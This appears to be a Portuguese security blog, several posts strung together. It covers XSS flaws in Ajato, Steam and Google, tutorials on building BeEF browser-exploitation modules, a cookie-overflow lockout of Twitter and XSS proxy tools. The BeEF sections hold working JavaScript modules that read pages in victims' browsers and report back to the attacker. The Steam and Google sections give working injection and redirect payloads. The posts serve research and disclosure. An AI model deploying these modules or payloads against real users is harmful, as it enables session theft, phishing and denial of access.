Um “cross-site scripting” e uma série de informações desnecessárias sendo exibidas ao usuário.  Esses foram os dois fatores necessários que fizeram do site de Teste de Velocidade da provedora Ajato\TVA (http://testevelocidade.ajato.com.br), uma ameaça a seus próprios usuários.  Em forma de video-post, mostrei que de forma muito simples, é possível extrair informações como o IP interno e MAC do modem, velocidade do plano de internet e nível de sinal, com pouquissimas linhas de código e sem exigir qualquer interação da vítima, graças ao script do teste de velocidade da Ajato, que expõe sem a menor necessidade tais informações. Confesso que quando as vi pela primeira vez, custei a acreditar.

Se quiser ir direto ao site da prova de conceito (PoC), veja clicando aqui (Obviamente, apenas para usuários Ajato).

Dê seu Feedback via comentários ou tweets! Colabore com a divulgação clicando no botão de RT

Qualquer dúvida, é só gritar.

Até a próxima, pessoal!

Continuarei, hoje, a mostrar o quão simples pode ser criar um módulo para o Browser Exploitation Framework, ou BeEF. Se você pegou o bonde andando e perdeu toda a apresentação e a primeira parte de construção de módulos, corra para lá, pois o conteúdo de hoje não passa de um complemento.

Nossa tarefa será aumentar a complexidade do módulo adicionando opções configuráveis. Sendo assim, ao contrário do módulo “URL Crawler”, onde bastava apertar o botão para explorar, teremos um formulário com opções que vão definir o que será processado pelo zumbie.

# Módulo: “Iframe Tools”

Ok, eu confesso: Minha criatividade hoje não está em um bom dia. Mas que fique claro: O que vale é passar o conteúdo. Por favor, desconsidere o nome brega.

Nosso módulo terá duas funções:

• Listar todos os iframes disponíveis na página, retornando nome e ID.
• Caso tenha sido especificado um nome ou ID, retornar o código HTML que esta sendo exibido dentro deste iframe.

Obviamente, estas funções poderiam (e, em minha opnião, deveriam) ser divididas em dois módulos. Elas estão juntas aqui para demonstrarmos como trabalhar com opções, e para que possamos aprender mais fugindo dos padrões.

1# Estrutura e o Arquivo de Nome

Conforme expliquei na parte 1, crie a pasta específica para este módulo com o nome de iframe_tools dentro do diretório de módulos da categoria que preferir. Crie, também, o arquivo name.txt contendo apenas Iframe Tools . Até aqui, nada muda .. mas só até aqui.

2# O Payload (JavaScript)

Se lembra do Código JavaScript (payload) que é enviado e executado no navegador do Zumbie? Por padrão, como expliquei, o arquivo usado chama-se template.js. Porém, isto tudo não passa de um modelo, e, desta vez faremos diferente. Para que possamos deixar o código final a ser enviado menor, criaremos um arquivo para cada uma das funções que citei.

Teremos então:

• template-lista.js : Lista e retorna os iframes na página
• template-le.js : Lê o conteúdo do iframe previamente especificado.

O primeiro (template-lista.js) é semelhante ao “URL Crawler”. Basta ler e retornar as informações. Não é necessário verificar configurações previamente estabelecidas, não é mesmo? Então, vamos a ele:

function do_main(){
var iframes = document.getElementsByTagName("iframe");
for ( var i in iframes ) {
if(iframes[i].src) {
retorno = retorno + '\n ID: ' + i + '  SRC:' + iframes[i].src; }
}
}

var retorno = '';
do_main();
return_result(result_id, ((retorno) ? retorno : "Nenhum Iframe encontrado") );

O código é muito simples: Verifica as tags <iframe> que possuam um src já definido (ou seja, que já estão em uma página) e retorna ao BeEF uma relação de IDs e seus respectivos SRCs. Assim será possível definir qual iframe desejamos obter o conteúdo.

Falando em obter conteúdo, eis o simples código que fará esta função. Ele ficará no arquivo template-le.js e, obviamente, requer uma informação que deve ser previamente definida: O ID do elemento Iframe que ele deve retornar o conteúdo. Para isto, devemos usar no lugar desta informação uma palavra-chave que será, depois, substituida pelo valor. Neste caso, usaremos a palavra IFRAME-ID

return_result(result_id, window.frames[IFRAME-ID].document.getElementsByTagName("body")[0].innerHTML);

Atenção:  As palavras que serão substituídas não são variáveis do JavaScript, e sim palavras quaisquer. Nunca use palavras que sejam de uso comúm da linguagem, ou que sejam usadas no script, caso contrário, as demais ocorrências também serão substituídas.

3# A Página de controle do Módulo (index.php)

Ao contrário do último post, que quase não alteramos este arquivo, o teremos agora como foco principal.

Mais do que apenas um formulário de envio, o index.php faz o preparo do código a ser enviado. É ele quem carregará o payload para o envio e fará as mudanças necessárias, como a substituição de palavras-chave por valores definidos.

Lembre-se de que estamos usando dois payloads em um único módulo. É aqui que faremos a verificação de qual payload deve ser usado em cada situação.

No início do arquivo, criamos definições para “chamarmos” nossos payloads (javascript) de forma mais amigável, além de incluir um arquivo exigido pelo BeEF.

<?
// Copyright (c) 2006-2009, Wade Alcorn
// All Rights Reserved
// wade@bindshell.net - http://www.bindshell.net
// Módulo por: Gabriel Lima - www.falandodeseguranca.com
// gabriel(@)falandodeseguranca.com

require_once("../../../include/common.inc.php"); // included for get_b64_file()

// Criamos definições para nossos 2 arquivos de payloads javascript.
DEFINE('JS_FILE_LISTA', './template-lista.js');
DEFINE('JS_FILE_LE', './template-le.js');
?>

Agora trabalharemos com JavaScript. Na função get_b64_code_cb, os dois payloads serão chamados e convertidos para base64. Criaremos uma variável para cada um (b64codelista e b64codele).  No caso da leitura do conteúdo de um iframe, é necessário substituir a palavra-chave IFRAME-ID (que criamos em #2) pelo valor digitado no campo “idiframe” do form de nome “myform”. A função também define qual payload será enviado, verificando se o campo está ou não em branco.

<script>

function get_b64_code_cb() {
// javascript is loaded from a file - it could be hard coded
var b64codelista = '<? echo get_b64_file(JS_FILE_LISTA); ?>';
var b64codele = '<? echo get_b64_file(JS_FILE_LE); ?>';

b64codele = b64replace(b64codele, "IFRAME-ID",document.myform.idiframe.value);

return ((document.myform.idiframe.value) ? b64codele : b64codelista);
}

Element.Methods.set_autorun = function() {
ar.enable('Iframe Tools', get_b64_code_cb());
}

Element.Methods.send_now = function() {
do_send(get_b64_code_cb());
}

// add construct code to DOM
Element.addMethods();

</script>

Finalmente, criamos o formulário, seguindo as especificações usadas no JavaScript para que o campo seja lido.

<div id="module_header">Iframe Tools</div>
Lista ou retorna o HTML de um Iframe.<br><br>
<div id="module_subsection">
<form name="myform">
ID do Iframe: <input type="text" name="idiframe" value=""/> <i>(Em branco: Lista Iframes)</i>
<input type="button" value=" Set Autorun " onClick="javascript:set_autorun()"/>
<input type="button" value=" Send Now " onClick="javascript:send_now()"/>
</form>
</div>

4# Tudo pronto!

Temos tudo pronto e funcionando. Veja, abaixo, nosso módulo em ação:

Sem especificar ID (lista Iframes):

Ao especificar um ID (retorna conteúdo do Iframe):

É isso! Dúvidas e feedback: Envie um comentário neste post ou tweet para @gabrielpato

Até a próxima!

Browser Exploitation Framework, ou BeEF, é uma ferramenta que oferece controle em tempo real a “vítimas” (que se transformarão, na verdade, em “Zumbies”) que navegam em sites vulneráveis a cross-site scripting, contendo o código do framework injetado.

Com o BeEF, você pode visualizar informações diversas de cada Zumbie conectado e os enviar códigos para determinadas funções. Tais códigos vão de simples alertas exibidos em seus navegadores até a Port Scan em hosts remotos ou internos.

Em sua versão 0.4, o potencial do BeEF aumentou com a integração com o Metasploit, através de XMLRPC. Exploits de navegadores, incluindo o utilitário “Browser Autopwn” que procura por versões vulneráveis de plugins e do próprio navegador da vítima, podem ser iniciadas diretamente do BeEF, em poucos clicks.

Não tem segredo: BeEF é uma ferramenta fácil de se usar. Foi programada em PHP e possui uma interface bem amigável. Faça o download em http://www.bindshell.net/tools/beef . Mas lembre-se: Você precisará de um ambiente como Apache + PHP. (Não é necessário banco de dados. Os dados coletados são armazenados em arquivos de texto.)

Mas é claro, o melhor do BeEF é a facilidade da criação de novos modulos, o que nos da a certeza de que é uma ferramenta que, com a ajuda da comunidade, estará cada dia melhor. Então, vamos à primeira parte sobre Criação de Módulos para o BeEF:

1# Os bastidores do BeEF

Ao entrar em um site com o código JavaScript, o navegador da vítima passa a se comunicar constantemente com o BeEF, “informando” que a sessão continua ativa, ou seja, que o Zumbie esta disponível, e verificando se há códigos de módulos a ser executado. Um dos aspectos positivos, é que o código inicial contém apenas o necessário para a comunicação com o servidor. Os códigos das ações dos módulos são enviandos à vítima e executados apenas quando o hacker determinar.

2# As Categorias dos Módulos

Os módulos são organizados por categorias, são elas:

• Standart Modules: Módulos de detecção de plugins e configurações de browser, além de comandos de javascript básicos como alerta, “deface” (reescrever o conteúdo da página), etc.
• Browser Modules: Módulos que exploram vulnerabilidades, como buffer overflow, em navegadores.
• Network Modules: Módulos de detecção, exploração de falhas ou interação com serviços na rede.

3# Os arquivos e a organização de um Módulo

Na pasta /modules/ do BeEF, 3 sub-pastas são encontradas, sendo uma para cada categoria que descrevi acima. Dentro da pasta da categoria, há uma pasta para cada módulo (ex: /modules/standart/alert_dialog para o módulo de alertas).

Já nas pastas de cada módulo, vemos que ele é composto por três arquivos:

• index.php: A página que será exibida dentro do BeEF para controle das ações do módulo.
• name.txt: Um simples arquivo de texto contendo o nome do módulo que será exibido no menu.
• template.js: O código JavaScript que será enviado ao Zumbie.

4# Mão na massa: Construindo nosso módulo.

Para demonstrar os padrões usados na framework pelos arquivos index.php e template.js, nada melhor do que criarmos um simples módulo. Como o nosso módulo de exemplo será para listagem de links (URLs) na página atual, o chamaremos de URL CRAWLER.

4.1# Criando a Pasta

O classifiquei como “Standart”. Vamos, por tanto, criar a pasta /modules/standart/url_crawler/

4.2# Definindo o Nome

Feito isso, é hora de construirmos os arquivos necessários para seu funcionamento. Começaremos pelo mais simples, o name.txt .

Crie um arquivo de texto (txt) de nome name.txt contendo APENAS o nome do módulo, no caso, URL Crawler:

URL Crawler

4.2# Criando o Código JavaScript

Eis a parte principal da história. É aqui que faremos o código que será executado no navegador da vítima. Abaixo, o código comentado para nosso exemplo:

// Função do_main() é o nome padrão usado no BeEF para a função principal do código.
function do_main(){
// Criamos a variável links, que será um Array contendo as tags <a> encontradas no site
var links = document.getElementsByTagName("a");
// Um loop, para que possamos tratar de cada <a> encontrado
for ( var i in links ) {
// Verifica se a tag contém o atributo href (link clicável) e se não é uma chamada javascript:
if(links[i].href && (String(links[i].href).substring(0,11) != "javascript:")) {
// Adiciona a url encontrada na variável retorno
retorno = retorno + '\n' +links[i].href ; }
} }
// Define\Zera a variavel retorno.
var retorno = '';
// Chama função principal
do_main();
// Envia o resultado ao BeEF
return_result(result_id, retorno);

O mais importante a ser notado no exemplo dado, é o uso do return_result(result_id, retorno);. Esta função pertence ao JS injetado pelo BeEF, e o faz retornar uma informação, contendo o ID correto (result_id) para a ação. Em resumo, sempre que você desejar saber de algo da vítima, deverá usar este comando. Se seu objetivo não é coletar informações, você pode usa-lo para se certificar que a vítima já recebeu e executou o código, como por exemplo:

alert("Teste!");
return_result(result_id, "Alerta executado!");

4.3# Criando o formulário de ativação

Neste primeiro módulo de exemplo, nosso formulário de ativação (a página em que o hacker irá acionar o módulo) será simples, pois deve conter apenas a descrição do módulo e dois botões: O de acionar, e o de definir o módulo como AutoRun. O autor do BeEF usou um padrão bem simples em todos os módulos. Nos próximos posts detalharei mais esta parte, criando páginas com maios opções. Por enquanto, basta seguir o modelo:

URL Crawler

Este modulo ira listar todas as URLs de links na pagina.





	

4.4# Ação!

Feito tudo isso, é só ir ao /beef/ui em seu navegador e conferir o novo módulo no menu. As URLs listadas aparecerão no log (parte direita do BeEF) e na página de informações individuais de cada Zumbie.

Por hoje é só, mas mais tutoriais sobre BeEF virão.

Espero que tenham gostado.
Fique de olho!

Abraços!
Gabriel

… ou: Como fazer com que um pobre usuário não consiga acessar um site específico. No caso deste post, o Twitter.com .

Ok, antes de irmos direto ao assunto, vamos ao conceito.

Quando seu navegador faz uma requisição HTTP, ele envia um cabeçalho contendo uma série de informações. Tal cabeçalho (ou Header) é constituido, entre outras coisas, de seu user-agent, o arquivo a ser chamado, tipo de requisição (get, post, etc), campos de formulários, codificação dos caracteres, tipo de conteúdo, cookies, etc.  Cookies! hmm! Preste atenção nele aí!

Servidores Web costumam ter configurações que especificam quantos bytes serão permitidos no cabeçalho de uma requisição HTTP. Se a soma de todo o header passar dessa quantidade de bytes, ele anula o pedido, retornando erro. No caso do Apache 2.0, o comando que especifica esse valor é o LimitRequestFieldsize, e seu valor-padrão é 8190

Daí a idéia: Se conseguirmos fazer com que um usuário (Lê-se vítima), sempre que acessar um site, esteja com algo em seu header que ultrapasse esse limite, impossibilitariamos o seu acesso. … e esse alvo, são os cookies!

Pra quem não sabe, “Cookie é um grupo de dados trocados entre o navegador e o servidor de páginas, colocado num arquivo de texto criado no computador do utilizador.” (definição da wikipedia em português) .

Tudo bem, mas… como faremos para definir um cookie no navegador da vítima, para aquele site específico?

Sirdarckcat, autor da idéia, descobriu no Google Analytics, sistema de estatísticas para websites da Google usado em diversos sites, a solução. Para tratar suas estatísticas, o Google Analytics utiliza diversos cookies.  Entre eles, os dois abaixo são ideais para o ataque:

1- Cookie para determinar visitante vindo de um site de busca – o “Search result – organic referers”

Nas estatísticas geradas pelo Google Analytics, é possível ver quais termos em sites de buscas o rendeu visita. Segundo Sirdarckcat, é possível “fingir” uma busca no google usando links como:

http://google.seudominio.com/search?q=search-term
Ao passar um termo de busca grande, o mesmo ocupará um bom espaço no header. Porém, ele, sozinho, não quebrará o limite padrão dos web-servers, pois o limite para cada cookie é de 4192 bytes. A solução? Bem… definir mais um cookie!

2- Google Analytics Site Overlay – GASO

Para definir o cookie de nome GASO, basta acessar qualquer página que use o Google Analytics adicionando #gaso=VALOR no final da URL. (ex: http://site.com/pagina.php#gaso=valor-do-cookie)

A junção destes dois cookies usando todo o espaço de 4192 bytes resultará no estouro do limite de espaço para o cabeçalho. O site alvo ficará inacessível até que os cookies sejam excluidos.

Sirdarckcat fez um script para demonstrar esta idéia em ação.

Twitter sem SSL: http://google.sirdarckcat.net/?v=http://twitter.com/

Twitter com SSL: http://google.sirdarckcat.net/?v=https://twitter.com/

… e por falar em Twitter, com o uso frequente de encurtadores de URL, seria fácil que pessoas se tornem vítimas deste tipo de “ataque”, não?

FONTE: http://sirdarckcat.blogspot.com/ e http://httpd.apache.org/docs/2.0/mod/core.html#limitrequestfieldsize

Não. Eu não podia deixar de comentar sobre o caso mais comentado da última semana:  O desafio do StrongWebMail.com .

Trata-se de um novo serviço que garante a segurança de seu login exigindo que você preencha números que o serão informados por telefone. Se é uma excelente idéia ou não, eu não sei.  Só sei que eu não gostaria de ter meu celular tocando a cada vez que fosse conferir minha caixa de entrada. Isso sem contar, é claro, as situações em que o celular não está com você\esta descarregado\fora de área.

Eficiente ou não, a forma com que eles entraram no mercado chamou a a atenção da comunidade de segurança: Propuseram um desafio cujo objetivo era quebrar a segurança do sistema. O prêmio? 10 mil dólares. A empresa estava certamente confiante de que seu produto seguraria a barra… pelo menos por um bom tempo.  Como vocês podem imaginar, falharam.

A tarefa do desafio era ter acesso ao e-mail do CEO da empresa, obtendo sua caixa de entrada e sua lista de tarefas.

Em poucos minutos, Lance James e mais dois hackers, Mike Bailey e Aviv Raff, recrutados por twitter, encontraram uma falha.  Tratava-se de um Cross-site Scripting no campo de Assunto, quando visualizado pelo web-mail.  Segundo Lance, o mais trabalhoso – que levou aproximadamente 6 horas para ficar pronto – foi o exploit (código que seria injetado pela falha). Ele capturava mensagens na caixa de entrada, cookies e a lista de tarefas (“Task lists”, um dos serviços do site), os enviando para um script na web.

Bastava, então, que alguem entrasse naquele e-mail para o exploit funcionar. Para que isso ocorresse, Lance contatou a equipe de suporte notificando que havia obtido acesso à conta do CEO e que os detalhes estavam em sua caixa de entrada. Isso obrigaria a equipe a logar naquela conta, onde havia o XSS aguardando para ser executado.

Minutos depois, os dados já estavam em mãos. No entanto, inicialmente a empresa alegou que o método usado não seria válido por não se tratar de uma falha específica do sistema de autenticação deles, mas, depois de muito repercutir na web, anunciaram o grupo como vencedores e os pagaram a premiação. No mesmo anúncio, porém, alegaram que o sistema deles não foi burlado, pois o “hacker teve de encontrar um meio de evitar a verificação telefonica”, ou seja, o sistema deles ainda é eficiente. Neste ponto, eu concordo, mas não é só no momento de login que a segurança deve ser analisada. E neste aspecto a lição foi muito bem dada. Eles certamente viram que Cross-site Scripting é uma falha séria.

FONTES: Entrevista com Lance James no blog FireBlog (inglês)
Twitter: @XssExploits

A falha que havia reportado da STEAM foi corrigida hoje (21) pela equipe da VALVE.

Ontem, (20) havia postado no fórum oficial da STEAM um tópico para discussão da falha. Em menos de 10 minutos de vida, ele foi removido pela equipe de moderação, que me mandaram uma mensagem particular dizendo que já era pra eu ter sido contatado pela VALVE, o que não aconteceu.

Este moderador (que por sinal, é voluntário) encaminhou a VALVE novamente, e fui finalmente contatado pelo excelente John McCaskey, desenvolvedor.

Ele disse que a mensagem não chegou as pessoas certas. Provavelmente não souberam analisar o caso e encaminhar aos desenvolvedores responsáveis.

Ele agradeceu e listou os e-mails das pessoas que podem receber e analisar relatórios de segurança, caso tenha novas falhas a relatar futuramente.

A correção foi realizada em poucas horas. Neste momento, ela já esta corrigida.

Tal correção inclui apenas a codificação dos caracteres vindos por GET (na URL). Isso, obviamente, resolve a falha que relatei, mas como não houveram modificações no client da steam,  caracteres como “<“, “>“, (aspas), =, etc. continuam podendo ser passados pelo steam protocol. Quem sabe isso não resulte em novas falhas?

Apesar da confusão de e-mails importantes não chegarem as pessoas certas, dou os parabéns à VALVE pela correção rápida.

O pessoal da packet storm security hospedou uma mirror do resumo em inglês: http://packetstormsecurity.org/0905-exploits/steam-xss.txt

Comentários? Dúvidas? Use o link de comentários ou envie um e-mail para gabriel <@> falandodeseguranca.com

Abraços a todos!

Abaixo, irei exibir detalhes da falha que descobri no início deste mês no software Steam, da Valve Corporation. Trata-se de um dos softwares mais utilizados para distribuição de games para PC pela Internet. Recomendo que faça o download do relatório completo, pois o conteúdo deste post é apenas um resumo do trabalho publicado em pdf.

Download do relatório completo da falha em PDF > Clique Aqui.

Assista o Vídeo  com a demonstração e a explicação da falha > Clique Aqui

———————-

Esta falha já foi corrigida. Detalhes neste post.

Descrição da falha:

Um site na internet pode forçar, pelo navegador da vítima, a execução do Steam Protocol (steam://) fazendo com que, na aba Steam Store, seja aberto um link vulnerável a cross-site script da steam store (http://store.steampowered.com). É possível executar Java Script, e com isso obter o cookie do usuário, os aplicativos associados à conta, ou redirecionar a outra pagina sem que seja mostrado ao usuário que ele não se encontra mais na steam store (phishing).

Provas do Conceito:

obs.: Recomendo que baixe o .pdf do relatório, no início deste post. Ele possui explicações completas sobre as provas de conceito e maiores informações sobre a falha.

1- Executa alerta contendo a mensagem xss (Injeção de Java-Script):

steam://publisher/<img%20src=a%20onerror=alert(‘xss’)>

Caso esteja logado no STEAM, clique aqui para ver a execução do código acima.

Screenshot:

2- Redireciona usuário (no exemplo, para o www.falandodeseguranca.com):

steam://publisher/<img%20src=a%20 onerror=document.location.href=’http’+String.fromCharCode(58,47,47)+’falandodeseguranca.com’;>

Caso esteja logado no STEAM, clique aqui para ver a execução do código acima.

Outras informações:

É possível acessar o cookie do usuário e, por ele, ter conhecimento de todos os games instalados na conta.

Os números em InstalledApps são os AppIDs dos jogos na steam. A lista completa de IDs e seus respectivos jogos pode ser vista aqui.

Resumo em inglês (english):

Dúvidas? Entre em contato comigo por gabriel <@> falandodeseguranca.com ou por comentários neste post.

Ainda em fase de desenvolvimento, a ferramenta Durzosploit traz um framework de desenvolvimento de exploits para Cross-Site Scripting, com o objetivo de oferecer exploits (..na verdade, payloads) para os mais populares sistemas usados em sites (Drupal, etc) ou para sites populares (Facebook, twitter, etc).

Desenvolvido em ruby, seus comandos e sua “navegação” por console lembra muito o MSF Console, da coletania da framework MetaSploit. Há, atualmente, duas opções para “esconder” e\ou otimizar o código verdadeiro:  O packer, de Dean Edwards; e o que eles chamaram de minify, que apenas trata o código para torna-lo menor.

(dz) > search obfuscators
packr   -       DeanEdward's packer
minify  -       simple clean of the javascript code

No momento poucos exploits estão disponíveis, pois a preocupação maior é o andamento da framework em sí. Abaixo, a atual lista de exploits:

• twitter.com/update_status – Updates a target’s status
• twitter.com/update_settings – Updates your target’s settings
• facebook.com/what_is_on_your_mind – Write your message in your target’s mind
• drupal/edit_user_profile – Drupal 6.x – edit the profile of the user
• drupal/logout – Drupal 6.x – makes target logout

O download pode ser feito por SVN. O endereço e mais informações podem ser vistas aqui.

Para saber mais sobre como programar exploits para a plataforma, leia este artigo na wiki oficial do projeto.

Fonte: DarkNet

Até a última terça (5 de maio), o Google era vulnerável a Cross-Site Scripting em um dos links de sua página de suporte. O risco apresentado pela falha aumenta inúmeras vezes por um fator: o site vulnerável estava no domínio principal (google.com). Como o google usa este domínio para autenticação de seus usuários em todos os seus serviços\sites, era possível obter informações pessoais, enviar seu cookie para um script na web, roubar sua lista de contatos, ver seus documentos no Google Docs, e até adicionar gadgets em seu Igoogle.

A falha foi reportada pelo autor do SecureThoughts.com, que se identifica por “Inferno”, no dia 18/04/2009. A Google respondeu em apenas uma hora, mas a correção foi publicada apenas no dia 05/05/2009.

O script vulnerável foi programado em python, tem o nome de answer.py e fica localizado em http://google.com/support/webmasters/bin/answer.py .

O script declarava uma variável em javascript com o valor passado na variável cbid. Apesar de filtrar caracteres como “ (aspas), (espaço), <, >, {, },  o script não filtrava ‘ (aspa única). Este caractere era o suficiente para finalizar a declaração da variavel e começar a escrever o código java-script a ser injetado. Abaixo, uma prova de conceito que era válida, que exibiria um alerta com seu cookie:

http://google.com/support/webmasters/bin/answer.py?answer=34575&cbid=-1oudgq5c3804g‘;alert(document.cookie);//&src=cb&lev=index

Maiores detalhes e outras provas de conceito podem ser vistas neste post (em inglês)

Fonte: SecureThoughts.com

Enquanto projetos, como o que mostrei neste post, deixam claro que há muitos recursos a serem explorados para encontrar o endereço IP real do usuário, outros, como o que falarei hoje, buscam a plena navegação anonima.

O questionamento em cima disso tudo é um só: Mas será que é possível navegar sem deixar deixando mínimos rastros?

Perdoe-me por estragar sua  excitação pelo post mas… não, ainda não foi encontrado algo que possa desbancar os resultados apresentados por sistemas que usem Onion routing (ou pra ser mais direto, o Tor). Mas este termo merece nossa atenção.

Usando o princípio do Cross-Site Scripting (XSS) (carregar um payload em Java Script no navegador da vítima), a idéia do Cross-Site Scripting Anonymous Browser é, basicamente, usar esta interação para forçar a vítima a fazer requisições solicitadas pelo “hacker”, retornando o conteúdo do site desejado.

Apesar de não ser um assunto novo, já que há uma publicação de Fevereiro de 2005 que já fala de “XSS-Proxy” ( http://xss-proxy.sourceforge.net/Advanced_XSS_Control.txt ), o assunto é ainda discutido, e acredito que devem surgir ferramentas baseadas nesta teoria em breve.

Para obter o código HTML de um site, o Java Script após carregado no navegador da vítima cria um Iframe, e nele carrega o site solicitado. Após carregado, seu conteúdo é lido (usando InnerHTML), codificado (para transmissão via GET) e enviado, também por uma chamada em iframe, a um script que retornaria ao “hacker”.

Para facilitar as solicitações, o projeto XSS Tunnel e XSS Shell foram criados. O primeiro é um servidor proxy customizado, e o segundo é um gerenciador de “vítimas” (pessoas com o payload carregado). Nas configurações do XSS Tunnel, é possível especificar uma das vítimas, defini-lo como proxy em um navegador e navegar normalmente. Estes projetos tem como finalidade apenas demonstrar a técnica. Infelizmente, ano passado os testei, mas não tive bons resultados. Mais detalhes sobre estes projetos podem ser vistos em http://labs.portcullis.co.uk/application/xssshell/.

Apesar de ter permanecido um bom tempo sem grandes novidades, o XAB (Cross-Site Scripting Anonymous Browser) foi tema da palestra de Matthew Flick na Black Hat DC 2009. Seu paper pode ser baixado clicando aqui (recomendo!).

Nele, Matthew lista as maiores dificuldades existentes hoje para tornar esta idéia funcional:

1. As limitações de segurança do Java Script, que impede códigos executados em um site a acessar DOM de outros.
2. Tratamento de arquivos que não sejam do tipo texto (como imagens, swf, vídeo, áudio, etc). Atualmente, não há meio conhecido de tratar estas informações de modo que seja possível repassa-las ao “hacker”.
3. O uso de metodos de conexão http que não sejam GET.

O paper de Flick possui teorias interessantes para tentar chegar mais perto de driblar estes problemas, como, no caso do primeiro item, o uso de dns spoofing.

Por fim, o  XAB, apesar de não ser recente, é hoje um desafio aos pesquisadores de segurança de WebApps, e merece nosso estudo.

E você, teria alguma solução ou idéia para torna-lo funcional?

Espero ter dado uma devida apresentação ao termo. Seguem links onde podem ser obtidas maiores informações:

Links:

http://www.blackhat.com/presentations/bh-dc-09/Flick/BlackHat-DC-09-Flick-XAB-wp.pdf

http://labs.portcullis.co.uk/application/xssshell/

http://xss-proxy.sourceforge.net/

Até a próxima